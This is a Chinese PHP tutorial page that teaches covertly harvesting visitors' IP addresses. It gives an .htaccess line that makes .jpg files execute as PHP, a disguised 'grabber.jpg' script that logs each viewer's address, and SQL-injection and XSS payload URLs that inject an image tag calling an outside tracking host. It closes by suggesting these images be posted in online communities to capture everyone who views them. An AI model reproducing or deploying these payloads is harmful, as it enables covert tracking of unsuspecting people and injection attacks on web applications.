基于PHP实现通过照片获取ip地址


Posted in PHP onApril 26, 2016

在本教程中,我们将学习如何用一张照片来盗取ip地址。我的想法是通过修改.htaccess文件,将jpg文件当作php文件来解析。

下面就是我们需要向.htaccess中添加的代码:

AddHandler application/x-httpd-php5 .jpg

然后将下面的代码复制到记事本中,命名为grabber.jpg

<?php
$fh = fopen(‘ip_list.txt', ‘a');
fwrite($fh, $_SERVER[‘REMOTE_ADDR'].”
“);
fclose($fh);
$im = imagecreatefromjpeg(“n00b.png”);
header(‘Content-Type: image/jpeg');
imagejpeg($im);
imagedestroy($im);
?>

将grabber.jpg的权限设置为755,然后再找一张照片,将其命名为n00b.png,接着放到与grabber.jpg相同的目录之中。

就这样,一切工作就绪了。当别人浏览grabber.jpg这张照片的时候,他的ip地址就会被记录下来。

(译者注:需要把这些东西上传至我们的个人网站空间中)

POC:

(译者注:作者这里贴了一张可获取ip的演示照片,为了大家的隐私,我没有将其贴出,读者可自行去作者博客查看)

至此,我们的照片已经可以开始工作了。

接着我还想说明一下如何使用SQLi来获取ip地址。其实使用照片来盗取ip地址十分快捷,我们没有理由去使用SQLi这种方法,但是为了让读者获取到更多的知识,我还是说明一下吧:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1′ union select 1,0x3c696d67207372633d22687474703a2f2f6c65657474696d652e6e65742f6964696f74735f746573745f6c61622f696d61676569702f7472796d652e6a7067223e,3#

现在,再说一下如何使用xss来获取ip地址:

http://leettime.net/xsslab1/chalg1.php?name=<img src=”http://leettime.net/idiots_test_lab/imageip/tryme.jpg”>&submit=Search

好了,就是这些了。

我们可以用这个技巧做许多有趣的事情,事实上大部分社区都允许我们发布一些照片,所以我们可以用这个方法去获取所有访问到我们照片的人的ip地址。

以上所述是小编给大家介绍的基于PHP实现通过照片获取ip地址的相关内容,希望对大家有所帮助!

PHP 相关文章推荐
php 进度条实现代码
Mar 10 PHP
PHP 实现多服务器共享 SESSION 数据
Aug 15 PHP
PHP获取表单textarea数据中的换行问题
Sep 10 PHP
php模块memcache和memcached区别分析
Jun 14 PHP
php中判断文件空目录是否有读写权限的函数代码
Aug 07 PHP
PHP数据类型的总结分析
Jun 13 PHP
PHP生成不同颜色、不同大小的tag标签函数
Sep 23 PHP
php使用ICQ网关发送手机短信
Oct 30 PHP
php绘图之生成饼状图的方法
Jan 24 PHP
PHP批量获取网页中所有固定种子链接的方法
Nov 18 PHP
PHP钩子与简单分发方式实例分析
Sep 04 PHP
Laravel学习教程之View模块详解
Sep 18 PHP
各种快递查询--Api接口
Apr 26 #PHP
浅析Yii2集成富文本编辑器redactor实例教程
Apr 25 #PHP
Yii2增加验证码步骤详解
Apr 25 #PHP
Yii实现显示静态页的方法
Apr 25 #PHP
mysql_escape_string()函数用法分析
Apr 25 #PHP
PHP中addslashes与mysql_escape_string的区别分析
Apr 25 #PHP
PHP引用的调用方法分析
Apr 25 #PHP
You might like
php入门学习知识点七 PHP函数的基本应用
2011/07/14 PHP
php提示undefined index的几种解决方法
2012/05/21 PHP
CI使用Tank Auth转移数据库导致密码用户错误的解决办法
2014/06/12 PHP
PHP实现生成透明背景的PNG缩略图函数分享
2014/07/08 PHP
PHP7多线程搭建教程
2017/04/21 PHP
详解PHP中的 input属性(隐藏 只读 限制)
2017/08/14 PHP
js调试工具Console命令详解
2014/10/21 Javascript
ThinkPHP+jquery实现“加载更多”功能代码
2017/03/11 Javascript
深入理解Javascript中的作用域链和闭包
2017/04/25 Javascript
vue实现的微信机器人聊天功能案例【附源码下载】
2019/02/18 Javascript
js实现打字小游戏
2019/12/17 Javascript
vue中的过滤器及其时间格式化问题
2020/04/09 Javascript
Python编码时应该注意的几个情况
2013/03/04 Python
使用setup.py安装python包和卸载python包的方法
2013/11/27 Python
python实现文件分组复制到不同目录的例子
2014/06/04 Python
Python性能提升之延迟初始化
2016/12/04 Python
python3.6利用pyinstall打包py为exe的操作实例
2018/10/31 Python
对Pandas MultiIndex(多重索引)详解
2018/11/16 Python
对django views中 request, response的常用操作详解
2019/07/17 Python
windows下python安装pip方法详解
2020/02/10 Python
Windows 平台做 Python 开发的最佳组合(推荐)
2020/07/27 Python
关于多种方式完美解决Python pip命令下载第三方库的问题
2020/12/21 Python
Pyside2中嵌入Matplotlib的绘图的实现
2021/02/22 Python
小程序canvas中文字设置居中锚点
2019/04/16 HTML / CSS
原生 JS+CSS+HTML 实现时序图的方法
2019/07/31 HTML / CSS
html2canvas生成的图片偏移不完整的解决方法
2020/05/19 HTML / CSS
ASOS西班牙官网:英国在线时尚和美容零售商
2020/01/10 全球购物
EJB实例的生命周期
2016/10/28 面试题
好的自荐信包括什么内容
2013/11/07 职场文书
便利店投资的创业计划书
2014/01/12 职场文书
企业办公室主任岗位职责
2014/02/19 职场文书
八项规定对照检查材料
2014/08/31 职场文书
常务副总经理岗位职责
2015/02/02 职场文书
运动会100米广播稿
2015/08/19 职场文书
导游词之宿迁乾隆行宫
2019/10/15 职场文书
一篇文章带你了解Python和Java的正则表达式对比
2021/09/15 Python